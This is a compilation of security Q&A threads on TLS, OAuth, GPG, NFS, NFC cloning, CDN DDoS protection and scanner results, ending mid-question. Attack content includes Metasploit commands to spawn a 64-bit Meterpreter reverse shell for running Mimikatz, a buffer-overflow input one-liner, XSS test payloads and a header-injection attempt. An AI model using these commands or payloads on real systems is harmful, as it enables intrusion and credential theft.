What happens when intermediate certificates are installed in the wrong order? I have noticed that the intermediate certificates on a web service are installed in the wrong order. What effects could I expect from this?

I used the Symantec certificate checker which stated:

  Certificates installed in the wrong order.

  Some certificates in the chain are installed in the wrong order. See details below.
  Reinstall the certificates in the proper order.

Would this result in SSL handshakes being rejected?
If they're not rejected, would it result in requests/responses being encrypted incorrectly?

As per the SSL/TLS standard:

  This is a sequence (chain) of certificates.  The sender's
  certificate MUST come first in the list.  Each following
  certificate MUST directly certify the one preceding it.

What may happen depends on the client: some will simply disregard the chain and simply revalidate the server's certificate, using the provided certificate as an unordered bag of "potentially useful certificates". Others will reject the chain and refuse to connect. A sub-case is when the certificates are so out-of-order that the first certificate in the chain is not the server's actual certificate: in that case, clients who did not rejected the chain will try to use the wrong certificate, and this ought to trigger a "name mismatch" warning (i.e. the client is trying to use the certificate of an intermediate CA, and the CA name does not match the expected server name); and it would ultimately lead to a handshake failure since the CA public key is not the server's public key.

In any case, the SSL handshake ends with a pair of Finished messages which are used to check that everything went well. If the client does not use the correct public key, the key exchange will fail, or (at worst) the Finished messages won't match, and no application data will be sent or received. There will not be any "incorrectly encrypted request/response".


Exploiting a buffer overflow in ubuntu terminal I'm trying to exploit some buffer overflow through linux terminal of a program I've written for self education. I'm inputting a string usnig scanf("%s") and my goal is to overrwrite the return address over the stack frame
my problem is the following, I need to overwrite the return address to become the value of 0x08048934 hence when taking a consideration of the endianity within my computer I need to enter the sequence of byte hex value of

0x34 0x89 0x04 0x08

and this is where I'm finding difficulty.... It appears to me that I can't enter directly into the ubuntu terminal the values of extended-ascii characters, such as the one with the value of 0x89 or 137 in decimal which is an extended value...

How do I overcome this difficulty and create a string that contains the following values and allows me to create the desired address

p.s. When using ctrl + shift + u and the hex value 0x89 the character gets coded as a c1 utf-8 character hence the literal I get it \xc2\x89
also this may be unclear, I may be dependent on some output prints of the program such as address or etc hence I must type in the manipulated value during runtime of the program (After it has started executing) and not before

echo -en '\x34\x89\x04\x08' | your_program


Prevent a desktop client application from abusing an API access token obtained through OAuth2 on behalf of an application I have the following use case:

I want to write a desktop application that makes use of a third-party API (e.g. Dropbox)
This API requires an access_token to be sent to the server with each request.
This token gets generated on behalf of the user and my application using an OAuth2 authentication flow, which the user performs on my website.

Now, normally I would pass the generated access_token to the desktop application, where it can be used to make calls to the API. However, since the access_token is stored on the user's computer, he would be able to extract and misuse it for purposes not intended by the application (e.g. exceeding the API rate limit or performing malicious requests).

To resolve this, I could of course tunnel all the API traffic through my own server backend and thus avoid providing the user with the access_token. However, this would create large additional cost and would be a security risk for the client since his data would pass through an additional third-party service before going to the API server.

Is there any other way to keep the client from being able to retrieve the access_token, while still allowing him to use it in order to make requests to the API server?

I read about TCP connection passing, which would allow me to create a connection to the API server on my backend using the access token and then hand over that connection to the client, but this technique seems rather experimental and is probably not production-ready.

Another way would be to use asymmetric cryptography to somehow encrypt the access_token together with the URL on the backend server and let the client transfer this pre-encrypted data to the API server, but again I have no idea how to implement this using SSL.

Any ideas?

Edit:

I have thought about the problem and I think I have a solution, which would require a new API endpoint though and thus would not solve the initial problem:

http://www.andreas-dewes.de/en/2015/securing-api-calls-made-on-behalf-of-a-user-from-an-untrusted-environment/

Giving the desktop client the keys to the kingdom is by definition a violation of CWE-602: Client-side enforcement of server-side security.  Any piece of software running on an attacker's machine cannot be trusted.

There needs to be an intermediary API,  a web service that you control, and provides the ability to enforce user-based access control to a communal resource (files on DropBox).

You may also want to read the DropBox Terms and Conditions ,  which forbids resale of their service.


Using timingSafeEqual I've seen code like this:
 if(password.length !== allowedPassword.length || !crypto.timingSafeEqual(password, allowedPassword))

So timingSafeEqual is supposed to use the same amount of time to compare 2 passwords, in order to prevent the attack to estimate the complexity of the password.
My question is, if the both passwords are not equal in length, the comparison will never run, so how does this help at all? If the comparison runs, then the attack knows the exact length of the password because the time is always the same, and if it doesn't run he can estimate the complexity lol

Yes. That code is wrong.
The test should only use the timed function:
if(!crypto.timingSafeEqual(password, allowedPassword))

Clearly some people do not understand the code they write.
But you'd only be able to determine the length of the password. Hopefully, your's pretty long... He! He!


How to study the packets sent by a keylogger One of my friends runescape account got hacked through key-logger. He downloaded a runescape gold generator from a file sharing site and tried to use it.
I have a strong doubt that it is a key-logger. So I run the software in a virtual machine and the software indeed sending some SMTP packets. but it is using gmail and I can't understand the packets. Here is the dump of the packets :

http://pastebin.com/q1d0Vv3h

Now I want to know how to read these packets as they are encrypted? What the keylogger is sending and to which email id it is sending? How I can know this?

EDIT : here is the pcap file : http://www.mediafire.com/?6ulkjdf5a4eapbg

I uploaded the entire pcap file as there may be anything else then smtp packets which I don't know. It's almost 10 mb. if some one want to check only smtp packets , kindly filter.

The keylogger looks to be sending email using Gmail but the SMTP communication is encrypted with TLS (SSL).

Simple Mail Transfer Protocol
    Command Line: STARTTLS\r\n
        Command: STAR
        Request parameter: TLS

Simple Mail Transfer Protocol
    Response: 220 2.0.0 Ready to start TLS\r\n
        Response code: <domain> Service ready (220)
        Response parameter: 2.0.0 Ready to start TLS

You can use Fiddler on the host running the keylogger to intercept the SMTP messages before they are encrypted with TLS (SSL). Fiddler intercepts Windows WinINET-based applications so it will not intercept all SSL connections.

  Fiddler is a Web Debugging Proxy which
  logs all HTTP(S) traffic between your
  computer and the Internet. Fiddler
  allows you to inspect all HTTP(S)
  traffic, set breakpoints, and "fiddle"
  with incoming or outgoing data.
  Fiddler includes a powerful
  event-based scripting subsystem, and
  can be extended using any .NET
  language.

If the keylogger sends email it means that it will collect keys for a certain amount of time and then send the email. Which means that it will have to store those keys somewhere. Tracking file writes for that keylogger can point you to it's cache and maybe the key file will indicate if the keylogger is targeting Runescape or the user. I recommend Process Monitor for tracking file writes.

A different way of finding the destination email address is debugging the keylogger. You could start with a memory dump and a search for strings. First you identify the keylogger process by tracking the writes that happen after key presses, then use Process Explorer to search the strings from the memory dump of the process.

OllyDBG and a bit of patience can be useful for debugging the code of the keylogger by setting breakpoints on SMTP functions and then inspecting the memory for email addresses.


What is insecure about the "insecure" option of NFS exports? Why is it considered insecure for an NFS export to allow connections originating from high ports? Compare the manual:

exportfs understands the following export options:
secure
This option requires that requests originate on an Internet port less than IPPORT_RESERVED (1024). This option is on by default. To turn it off, specify insecure.

https://linux.die.net/man/5/exports#content:~:text=General%20Options
Why does it matter which port the request is coming from? Shouldn't the client be free to choose whatever port they like?
The only benefit I see is in a company environment where no regular user has admin rights even on their own system. In this case, the secure setting prohibits using NFS clients not sanctioned by the IT administration. Is that the reason, or what am I overlooking?

NFS trusts the client to provide its user ID. If the client says "I am user ID 1234", then the server assumes it's being accessed by user 1234. (Root is often disabled though)
Ports below 1024 can only be used by root. Ports 1024 and above can be used by any user. If I create a socket on a port above 1023, I can just tell the NFS server that I'm you and then access your files.
If I have to create a socket on a port below 1024, then I can't do that unless I have root access to my local machine. In a corporate or school environment where I don't have root access to any of the machines, this may be considered a useful security check. Note that I can still impersonate you if I can connect my own machine to the network!


Understanding GnuPG --export-options backup The GnuPG documentation lists an option called --export-options parameters. One of the possible parameters for this option is backup (aliased export-backup).
The description for --export-options backup states:

Export for use as a backup. The exported data includes all data which is needed to restore the key or keys later with GnuPG. The format is basically the OpenPGP format but enhanced with GnuPG specific data. All other contradicting options are overridden.

What data is included in "all data which is needed to restore the key or keys later?"
When the documentation says, "is basically the OpenPGP format but enhanced with GnuPG specific data," what enhancing data is it talking about?
In stating "other contradicting options are overridden," what contradicting options are being referred to?

What data is included in "all data which is needed to restore the key or keys later?"

It includes the key(s), user attributes, signatures (including local signatures), and ownertrust values. Everything required to completely restore the key(s) and trust database as they currently exist in your gnupg directory.

When the documentation says, "is basically the OpenPGP format but enhanced with GnuPG specific data," what enhancing data is it talking about?

Ownertrust data contained in the exported Trust packets. These are specific to GnuPG and not necessarily transferable to other implementations.
From RFC-4880:
5.10.  Trust Packet (Tag 12)

   The Trust packet is used only within keyrings and is not normally
   exported.  Trust packets contain data that record the user's
   specifications of which key holders are trustworthy introducers,
   along with other information that implementing software uses for
   trust information.  The format of Trust packets is defined by a given
   implementation.

   Trust packets SHOULD NOT be emitted to output streams that are
   transferred to other users, and they SHOULD be ignored on any input
   other than local keyring files.

In stating "other contradicting options are overridden," what contradicting options are being referred to?

Any options that would restrict what is exported. For example, export options no-export-local-sigs, no-export-attributes, export-clean, etc.


What is the difference between Key, Certificate and Signing in GPG? Forgive me the newbie questions.

I'm going through the Gpg documentation and other related websites. Unfortunately they assume I am already familiar with some terms and allthough I am re-searching them it is gets hard to apply what I have learned or even abstract to understand what is going on.

The questions here is: under GPG subject what is the difference between a key and  certificate (It sounds like it is the same). Also, what is the goal of signing a encrypted file?

What is the flow of using gpg to securely transfer a file?

Assuming that my boss wants me to send a .doc to him securely using gpg:

Does he have to install gpg on his end and send me his key(or certificate if they meaning are the same)?
With this information should I encrypt and sign it (why?) with his certificate that I am assuming is the same as public key (because I am encrypting)?
Once I encrypt and sent it to him, how does he decrypt it? how can he see his private key on gpg?

as you can see, I am all over the place

please help

thanks

In public key cryptography, the key is usually a key pair, consisting of a public key and a private key, and it is what you do encryption, decryption, signing, and verification with.

"A key certificate is an assertion that a certain key belongs to a certain entity" PGP lecture.

To illustrate what each key does, and to see an example of why one would both encrypt and sign, consider Snowden (S) and Greenwald (G):

Each of them creates their own key pair, and they publish their respective public keys.
Assume (for now) that the public keys are trustworthy.
Say S wants to send a message to G. To do that:

S looks for G's public key.
S encrypts the message using G's public key.
S signs the encrypted message with his own private key.

G receives an encrypted signed message. The untrusted email header says it is from S.

G looks for S's public key.
G verifies the signature using S's public key. Now, G is convinced message is from S.
G decrypts message using his own private key.

Note that signature and encryption are performed using different keys (by S). Without the signature, G would still be able to decrypt it, but he would not be convinced the message is really from S.

The whole scheme relies on the assumption that public keys are trustworthy. Otherwise, for instance, the spook K might publish a key with G's name and intercept G's email, so that when S sends the message, K decrypts it instead of G. This is where key certificates come into play.

However-however-however! This whole public key cryptography is only useful to implement secure communication between a trusted and an untrusted party. E.g., from G's pov, he does not trust S at the time when S wants to send him a message. Then: public key crypto enables G to receive encrypted messages meant only for him from an untrusted sender S.

If there are no untrusted parties in your scheme, there is no need for all this stuff. Instead, you and your boss should agree on a strong key/passphrase. Then, you could encrypt the message with traditional symmetric encryption using that shared key with gpg --symmetric --armor, and he could decrypt it with gpg --decrypt. This is how the command lines would look like. GUI and integration of GPG in email clients would be another topic.


Changing senders, same spam messages We have a situation at work regarding to our mail filtering appliance and I was hoping that you could give us some insight on how to approach this issue.

We've been receiving spam emails with the subject "Curriculum Vitae (Name)" from different gmail accounts. Even though blocking those individual accounts is simple, we would like to find a workaround so that we don't have to do it manually; blocking any mail with such subject is not convenient, as it wouldn't let legitimate mails come through.

Although we had initially thought of blocking any sender who tries to get several messages delivered briefly (something like a burst of emails), from what we were told by the supplier there is no such functionality in this appliance.

By the way, our mail filtering solution is InterScan Messaging Security Virtual Appliance from Trend Micro.

Any ideas will be truly appreciated, thanks in advance.

You do not speak of your email server/provider. Some allow you admin access to search for and delete/purge emails with certain header info or subject lines (I know I did it in MS Exchange and Google Apps).

But, technology can only take you so far with email protection. If your vendor is offering you all the technical support they can, you need to supplement with triggering your Security Awareness program.


How to completely hide wordpress version number Is there a way to completely hide WordPress version number? I tried a couple of tricks like: hiding version from meta-generator and from CSS by adding the following lines in functions.php of the current theme:

// remove wp version param from any enqueued scripts
function vc_remove_wp_ver_css_js( $src ) {
    if ( strpos( $src, 'ver=' ) )
        $src = remove_query_arg( 'ver', $src );
    return $src;
}
add_filter( 'style_loader_src', 'vc_remove_wp_ver_css_js', 9999 );
add_filter( 'script_loader_src', 'vc_remove_wp_ver_css_js', 9999 );

The problem is the wpscan still able to discover the version using the advanced fingerprinting:

  WordPress version 4.5.3 identified from advanced fingerprinting

Is there any trick to hide the version even from wpscan?

I don't know all the methods used by WPScan but here is a function that I use to remove some data about the version. Perhaps in conjunction with your other methods it might be a solution.

// remove version info from head and feeds
function generator_version_removal() {
    return '';
}
add_filter('the_generator', 'generator_version_removal');

As was noted in the comments that most attackers won't bother checking, I think this is true. However, for those few who do check, I assume their attack is more sophisticated and you don't want to be caught among the fruit that hanging just low enough to grasp.

As was also noted in the comments, WPScan apparently checks multiple fingerprints and this covers just one. Hopefully, it might be the one you are missing. Perhaps it is just one of many.

My experience with WPScan is limited, but perhaps you can get a more verbose output.

Hope this helps a bit, it is only part of what you are looking for though.

ADDITION: Emoji Update.
There was an Emoji update with version 4.2 (I believe 4.2) that was part of a big security update. I can't seem to find the post about it right now, but I remember something about a security hole that had been around for a while and was finally fixed via some clever use of Emoji. When the update came through and there was so much emphasis about Emoji people wondered why and so it was explained that it was something of a cover for the security update. Long story short: WP 4.2+ has an Emoji update that will let WPScan (and others) know that you are running at least that version.

ADDITION: (2016-07-15) Another plugin I have been using but its main purpose is for speed is called Remove Query Strings From Static Resources. I hadn't remembered this plugin at first but since the default query string appended to JS files is the WordPress version number when no other version is given. With that as the query string for multiple files it would be a dead giveaway to see what WP version you have.


Feedback for self-signed certificates setup for custom product auth? HW (linux) <---Eth---> Official PC (win,mac,linux)
               |
               |
                ----> Man-in-the-middle eavesdrop

I'm looking to prevent an unauthorized party inside the LAN to make sense of communications between an official PC and a custom piece of HW.

The custom protocol used to communicate works on top of TCP. It can be assumed the unauth party won't have access to the filesystem of the official PC.

My current design involves using self-signed client certificates that we'd use in the official PC. Self-signed server certificates would be present inside the custom HW. The software would wrap the current socket comms in TLS, via libtls.

The certificates would be generated once with the openssl command and last for a couple of years.

Does this look reasonable or is it junk? Any gotchas?

EDIT

Commenting on some of the points in Steffen Ullrich's answer:

The client and server certificates would only be used to connect from specific official PCs to the device, and not for any other kind of communication to other devices or software. The distribution of the client certificate is controlled. The server certificate details can be made known to the official PCs, and the client certificate details can be made known to the custom HW.

1st point: In the client, we can validate the server certificate using its fingerprint. In the server, we can validate the client certificate using its fingerprint too, if needed.
2nd point: The distribution of the client certificate is strictly controlled, so nobody outside of the official PCs should have it. IIUC, that means other connections without the client certificate would be rejected (right? Otherwise, would it help to invert client/server?)
3rd point: We can update client/server certificates (both or just one of the two) as needed.

The use of TLS makes sense. The use of self-signed certificates makes sense as long as you properly deal with the servers certificate at the client side. This means that

The trusted self-signed certificate properly validated for example by using the fingerprint (pinning) or the certificate itself. This means also that it is known before the first connection is established by the client, so that already the first connection can be validated.
The trusted self-signed certificate is only trusted for connections to the specific device. This means especially that it is not imported as a generally trusted CA into the browser. Otherwise it could be used to intercept other connections in case the private key of this certificate somehow gets known to the attacker.
A working process is established how trust into the certificate can be revoked in case it gets compromised and how it can be replaced when it expires or gets revoked.

Your question does not provide enough detail to decide if these requirements are satisfied by your design.


Cross Site Scripting on a Unique Key Is it possible to perform a cross-site scripting attack by entering my script into a field that is required to match a specific value?

I am scanning an application for vulnerabilities, and my scanning tool (OWASP ZAP) is returning several cross-site scripting vulnerabilities. The returned results include a path for a REST request, the associated method (GET or POST) and the parameter used to include the script.

The issue is that for each vulnerability, the parameter used is an id for a unique value. For example, a getUserPrivileges GET request is showing vulnerability using the parameter 'userId'. If I were to try to make this request in SoapUI, using an invalid userId, I would get a "Bad Request" response. There is also no place in the UI that would allow me to enter my own value for this parameter.

My assumption is that issues like these are all false positives, but, not being highly knowledgeable on this topic, I wanted to check my assumption.

If I am correct in this assumption, would there be any reason why such a false positive would come up? Is there something that would cause my scanning tool to mistake this for an issue?

Edit: Here are two example requests. One of them that I think may actually be a problem is Example 2. I notice that the "" text in that example is present in the raw response, but not in the html response.

(When I say that html content is not accepted, i am referring to the content in the request response. The settings for this are on the server-side. In Spring, this seems to appear with the absence of something like "produces=MediaType.TEXT_HTML_VALUE" in the method declaration and its substitution with something like "produces=MediaType.APPLICATION_JSON_VALUE".)

Example 1:

Request:
GET http://###.##.##.###:####/AAAAAAAA/BBBBBBBB/CCCCCCCC?    requestId=%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&comments=%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E HTTP/1.1
Accept-Encoding: gzip,deflate
token: 2cd68a38-c3bd-a56b-e65c-b76da893cd4d

Response (Raw):
HTTP/1.1 400 Bad Request
Server: Apache-Coyote/1.1
token: 2cd68a38-c3bd-a56b-e65c-b76da893cd4d
token: 2cd68a38-c3bd-a56b-e65c-b76da893cd4d
Content-Type: application/json;charset=UTF-8
Content-Length: 167
Date: Wed, 22 Aug 2018 ##:##:## GMT
Connection: close

{"timestamp":#############,"status":400,"error":"Bad Request","exception":"java.lang.NumberFormatException","message":"For input string: '<script>alert(1);</script>'"}

Response (HTML):
unsupported content-type [application/json;charset=UTF-8]

Example 2:

Request:
GET http://###.##.#.###:####/AAAAAAAA/BBBBBBBB/CCCCCCCC?requestId=%3Cscript%3Ealert%28%22hello%22%29%3B%3C%2Fscript%3E HTTP/1.1
Accept-Encoding: gzip,deflate
token: 2cd68a38-c3bd-a56b-e65c-b76da893cd4d
Host: ###.##.#.###:####
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)

Response (raw):
HTTP/1.1 400 Bad Request
Server: Apache-Coyote/1.1
token: 2cd68a38-c3bd-a56b-e65c-b76da893cd4d
token: 2cd68a38-c3bd-a56b-e65c-b76da893cd4d
Content-Type: text/html;charset=UTF-8
Content-Length: 173
Date: Wed, 22 Aug 2018 ##:##:## GMT
Connection: close

{"timestamp":#############,
"status":400,
"error":"BadRequest",
"exception":"java.lang.NumberFormatException",
"message":"For input string: '<script>alert('hello');</script>'"}

Response (HTML):
{"timestamp":#############,
"status":400,
"error":"Bad Request",
"exception":"java.lang.NumberFormatException",
"message":"For input string: ''"}

As usual when using automated scanners, you'll need to do some manual testing to confirm this vulnerability or reject it as a false positive.
Why would ZAP label this as XSS?
From the ZAP documentation (thanks @SimonBennetts):

Cross Site Scripting (reflected)
This rule starts by submitting a 'safe' value and analyzing all of the locations in which this value occurs in the response (if any). It then performs a series of attacks specifically targeted at the location in which each of the instances occurs, including tag attributes, URL attributes, attributes in tags which support src attributes, html comments etc.

That means that ZAP's false-positive rate for reflected XSS is probably pretty low, ie most of what it reports is real, because it only reports things where the input is being reflected back in the page source in a way that appears vulnerable to one of the standard XSS mechanisms.
Anything it reports is worthy of further manual investigation.
What if there's no place in the UI to enter it?
Doesn't matter.
The most dangerous kinds of XSS are ones where the malicious payload is in a GET URL parameter, for example:
http://server/cgi-bin/testcgi.exe?usedid=<script>alert("Hello!")</script>

because then I can put that link into a phishing email and once you click on it, you're running my code!
So even though there's no UI element, ZAP has found some parameter in which it can inject code and the server will echo it back as part of the HTML page.
Do some manual testing
This is where you'll need to go inspect the page source / start playing with it until you've either produced an alert popup, or convinced yourself that the developers did proper output escaping.
To get you started, OWASP has a great XSS testing guide:
https://www.owasp.org/index.php/Testing_for_Cross_site_scripting
As @AndrolGenhald points out, the "Bad Request" page probably echos the input back to you without properly escaping it. If I hit your server with usedid=<script>alert("Hello!")</script>, I'm guessing it would serve me back an error page saying
Bad Request: "<script>alert("Hello!")</script>" is not a valid user.

If you look in the page source, I would hope you would see this properly escaped:
Bad Request: &quot;&lt;script&gt;alert(&quot;Hello!&quot;)&lt;/script&gt;&quot; is not a valid user.

which tells your browser to render this as text, rather than treating it as part of the HTML code. If it does not appear escaped in the page source, then with a bit of playing around you can probably get it to render as:
Bad Request: "

which means it actually ran the script rather than  rendering it as text (and you'll probably have a nice popup to go with it). Hello reflected XSS attack vector!! (You just found a vulnerability, open a bug ticket and go have a beer)


How to encode letters in multipart/form-data to include CR/LF characters? Part of HTTP request that should be sent to server with Content-Type: multipart/form-data; looks like:

------WebKitFormBoundaryQ7KGYev31biaJTW8
Content-Disposition: form-data; name="subject"

attacker_controlled

Then this value is included into header of response to another request:

Content-Disposition:attachment; filename="attacker_controlled.html"

I'd want to make HTTP header injection here. How to encode CR/LF characters in mulupart/formdata so they will appear as CR/LF at server side? How to make HTTP header injection here if it's not possible?

Edit: I've tried to change this request per @AndrewSmith's advice but it didn't work:

------WebKitFormBoundaryQ7KGYev31biaJTW8
Content-Disposition: form-data; name="subject"
Content-Transfer-Encoding: base64

YXR0YWNrZXJfY29udHJvbGxlZA==

In resulting HTML in place of attacker_controlled there is YXR0YWNrZXJfY29udHJvbGxlZA== (i.e. webserver didn't recognize Content-Transfer-Encoding)

So is there way to encode CR/LF characters?

How are newlines a problem when there is a boundary defined? The thing with this kind of HTTP packet is that it's binary safe, meaning that the entire 0..255 ASCII range can be used with no problem; including newlines and carriage returns. As long as the specified boundary is not encountered, the server or browser will simply see the characters as part of the data and not as any separator.

Only if an attacker can control the name in the content-disposition header, you would need to strip newlines there. Or if he can guess the boundary to be used, you should make sure the boundary is dynamic or is simply stripped.


Suspcious timing of [LAN access from remote] in router log I read that [LAN access from remote] to UPnP ports can be an attacker looking for vulnerabilities, and is usually nothing to worry about. However I'm concerned seeing this activity in a log so close to the target machine powering up, considering there were others on the network that were not targeted.

This activity happened before I even logged into the target machine, it makes me suspect the incoming traffic was somehow triggered by it announcing itself to the sender.

[LAN access from remote] from 129.192.165.10:4500 to 192.168.1.4:54071, Monday, October 30,2017 13:25:21
[LAN access from remote] from 129.192.165.10:4500 to 192.168.1.4:54071, Monday, October 30,2017 13:25:16
[LAN access from remote] from 129.192.165.10:4500 to 192.168.1.4:54071, Monday, October 30,2017 13:25:11
[LAN access from remote] from 129.192.165.10:4500 to 192.168.1.4:54071, Monday, October 30,2017 13:25:06
[DHCP IP: (192.168.1.4)] to MAC address [munged], Monday, October 30,2017 13:14:52

Maybe there's a perfectly reasonable explanation that doesn't involve the machine being compromised?

PS - Yes, I disabled UPnP on the router after seeing this.

UPnP allows for portforwards through a NAT (your router does that), such that people from outside your NAT can connect to devices behind the NAT. This is access to the LAN from the internet, but only to a specific port on a specific client.

The thing is: such a port forward would only be created by the NAT after being configured so by a client on the LAN via UPnP. Simply disabling UPnP on the router might not do the trick here, because the forward has been requested from this machine that - as you said - came from a cold boot.

So unless you for example do file sharing or something alike that does need UPnP port forwards (and yes, game installers often are file sharing systems, the battle.net installer for example does peer to peer distribution of updates), you seem to have malware on your machine that requested the port to be opened in the first place.

This is most likely either absolutely fine and what you want (for file sharing to work, but manual port forwards would be better than UPnP) or an already infected machine trying to establish communication with an attacker. The probability that this is an attacker searching for vulnerabilities is almost zero; your sources seem to mix up things.

The IP seems to belong to Ericsson North America Managed Services, what seems to be a wireless ISP of some sort. This doesn’t narrow down the options. If would be best to

Make sure it’s not a program you run willingly, without you knowing that it’s doing this,
sniff the traffic and see what’s going on
Find out what causes the traffic and the open port.


How do NFC tags prevent copying? Ten years ago, we opened our building's front door with a badge. Five years ago we paid public transports with an RFID card. Today we pay for our bread with the same system and tomorrow we would probably be able to authenticate ourselves with something similar.

Basically, an NFC tag is only a physical support, just as a DVD is. It is easy to imagine how it can be protected against malicious alteration or prevented from being read (i.e. understood) by an unauthorized third party.

However, to prevent it from being cloned as-is (even if encrypted) seems impossible to me.

What prevents me from creating kind of an ISO image of the NFC credit card of my customers, writing it on a blank tag and then using it to buy my cigs?

That depends on what type of tag you use and what level of protection against cloning you want.

NFC tags (as defined by the NFC Forum) have no protection against cloning. Such tags are intended as containers for freely readable data (so called NDEF messages). Anyone could read an NDEF message from one tag and duplicate it to another tag.
Many NFC tags also contain a unique identifier that is pre-programmed by the tag manufacturer and cannot be modified on normal tags because those memory segments are in read-only memory. Such a unique ID could be used to uniquely identify a tag (i.e. to match the ID against some form of database). This approach has been used by many access control systems in the past (and actually still is!). However, all data can still be extracted from the tag. Specialized hardware (e.g. Proxmark, etc) and ready-made tags are often available where an attacker can change the unique identifier. So this is certainly not perfect cloning protection. Nevertheless, some manufacturers still add new cloning protection features that rely on publicly readable (but supposed to be uncopyable) unique identifiers. One such manufacturer is NXP with their signature feature on new NTAG tags. (Basically they add a digital signature over the unique ID to the tag, but nothing prevents an attacker to create a clone that also contains a copy of that static signature.)
Contactless smartcards/tags that provide communication encryption and shared-key based mutual authentication (e.g. MIFARE DESFire) exist. With this approach, cloning could be prevented by protecting certain data on the tag with a secret password. However if an attacker is able to find out that secret password, nothing prevents the attacker from creating a clone of the tag. Many modern access control systems and closed-loop payment systems use such an approach.
Contactless tags/smartcards that contain a secret asymmetric key (that cannot be extracted from the card using the available communication interface) and provide a command to sign a cryptographic challenge with that key exist. Many such smartcards are built upon Java Card technology, so they contain a microcontroller that executes some custom application software (written in Java). Most modern EMV-based credit cards use this type of mechanism to prevent cloning.


How do you send a 64 bit meterpreter stager? All the stagers that are sent seem to be 32 bit. This is fine, until I have to run Mimikatz which on a 64 bit system you NEED to run the 64 bit mimikatz. Since the 64 bit Mimikatz won't run on the 32 bit meterpreter, I'm in need of the 64 bit Meterpreter.

Just use a 64 bit Meterpreter payload.
For example the windows/x64/meterpreter/reverse_tcp payload.
You can get a 64 bit shell from a 32 bit shell by using the payload_inject module built-in to Metasploit. You can do this by running the following commands after you already have a 32 bit Meterpreter shell: use windows/local/payload_inject  set payload windows/x64/meterpreter/reverse_tcp. Then setting the other parameters (SESSION, LHOST, LPORT) to yours. Then you get a 64 bit Meterpreter shell!


How does a CDN actually prevent DDoS attacks, when an origin server accepts direct connections? I am trying to understand how a CDN (like Cloudflare e.g) does protect against a DDoS attack.

I would think that the internet traffic is routed through a CDN's reverse proxy, then filtered. This assumes that the DNS record of the website in question points to a CDN reverse proxy of course.

Now, should I / must I have a Firewall at my orginal server that only allows connections from a CDN-related IP?

Note: In this support article, when under attack, Cloudflare suggest to change the origin IP and update some routing:

  If an attacker is directly targeting your origin web server, request
  your hosting provider change your origin IPs and update the IP
  information in your Cloudflare DNS app. Confirm all possible DNS
  records are orange-clouded and that your name servers still point to
  Cloudflare (unless using a CNAME setup) before changing your origin
  IP.

Why do they not recommend using a Firewall? Now, their solution will have a short term effect, but can be circumvented easily.

Is changing only the IP bad advice? Am I understanding something wrong here?

IP whitelist is an imperfect solution because it's fiddly. CloudFlare's global network of reverse proxies themselves aren't necessarily a static list of IP addresses. If CloudFlare added new IP Range, some of CloudFlare's servers may not be able to reach your Origin server until you update your Firewall, and your application could be experiencing a brownout for many of your users that you may never notice and is really hard to debug even when you do because everything is working perfectly fine from your vantage point. The maintenance busywork to keep the whitelist of IP addresses on your firewall up to date will be just as problematic as handling a DDoS.

The main idea of CloudFlare's CDN protection is by hiding your Origin Server's real IP address from publicly accessible database like the DNS system. This makes it much more difficult for an attacker to discover where to direct their attack to your Origin server.

Additionally, if your firewall appliance can actually handle the direct DDoS load, then your attacker is probably not big enough yet for you to actually be needing a DDoS protection. So the suggestion to just skip town and change your public IP is sensible as it's likely the fastest way to alleviate the impact of an active attack.

CloudFlare's solution to protect your Origin Server from direct traffic is to use Authenticated Origin Pull (free), which would have CloudFlare use a TLS Client certificate when making a connection to your Origin server, or Argo Tunnel (additional cost), which will require you to run a cloudflare agent daemon inside your network to maintain an outgoing connection to one of CloudFlare's point of presence.


Benefits to using EV certificates with a privately hosted Certificate Authority For companies that have implemented their own internal CA, is there any benefit to configuring that CA to issue an EV certificate?

Do any SSL Proxies (like Bluecoat) mimic the EV certificate of the external site (paypal.com), and pass that on to the internal user?

What other use cases, assurances, or benefits could an internally managed EV certificate offer?

Extended Validation (EV) certificates exist to give the end-user greater assurance that the web site is who they say they are. This is because the enrolment process that is followed by the Certificate Authority (CA) has meet a minimum standard (http://www.cabforum.org/Guidelines_v1_3.pdf).

The actual certificate features are the same EV or no EV so the certificate itself provides no extra encryption or security technology. The only change to the certificate is that a Certificate Practice Statement (CPS) that is recognised by the browser as being EV. If the CPS object identifier (OID) matches a list of OIDs known to be EV and the normal certificate validation passes, green is displayed in the browser.

For an internal network, this should make no difference because the level of verification of the host and the requestor is normally the same. If it makes sense in your environment by all means do it, however if you are trying to increase security then implementing Online Certificate Status Protocol (OCSP - http://en.wikipedia.org/wiki/Online_Certificate_Status_Protocol) would be more helpful. OCSP is supported by Bluecoat, Windows 2008 R2 CAs and a range of other products.

Support for intercepting EV SSL certificates from a Bluecoat appliance works but the certificate seen by the user will not have a CPS attached to the certificate so it will not appear green in the browser.

Hope this helps.


Why does setting cipher text to 21 characters mean plain text is nothing in AES256 Let's say I have the following where k is any length string

If I do the following

var p = aes256.decrypt(k, 'XXXXXXXXXXXXXXXXXXXXX');

The value of p will always equal nothing. Can this please be explained in really simple terms?

XXXXXXXXXXXXXXXXXXXXX being any 22 character string if I do the following where p is any 5 byte string.

var c = aes256.encrypt(k, p);

Here's some code in Node

var aes256 = require('aes256');
var k = 'THIS IS MY ONE AND ONLY KEY'; // A KEY
var p = 'ABCDE'; // 5 CHARACTER STRING
var e = aes256.encrypt(k, p);
console.log (e);
var decrypted_1 = aes256.decrypt(k, e);
console.log (decrypted_1)
var decrypted_2 = aes256.decrypt(k, 'AAAAAAAAAAAAAAAAAAAAAA');
console.log (decrypted_2)

The value of decrypted_2 is blank - I don't understand why

My guess ist that you are referring to this JS library. While the incomplete documentation suggests that it does AES-256 with the given key and cipher text a look at the code suggests that it does something else: The key is not the AES key but the AES key will be derived from it using SHA256. And the input is not the cipher text but will be treated as Base64. It will also use the first 16 byte of the decoded input as IV and then decrypt the next 16 byte. This means to cover at least 1 byte of plain text your input need to be an 17 byte binary (16 bytes IV + 1 byte data). This 17 bytes binary results in a 23 byte long base64 encoded string and any input shorter than that will just not contain any data to decrypt.


How to prevent / take action against "Merchant Name" fraud? I work for a charity in Australia. On a couple of recent occasions we have seen this behaviour by thieves:

People search for cheap Dyson vacuum cleaners.
They find a website which claims to sell (cheap) Dyson vacuum cleaners.
They pay using their credit card.
The website uses a variation of OUR NAME (i.e. not their name, but a variation of our legal name) as their 'Merchant Name'.
The users never get their vacuum cleaner, so they check their statement and see our name there.
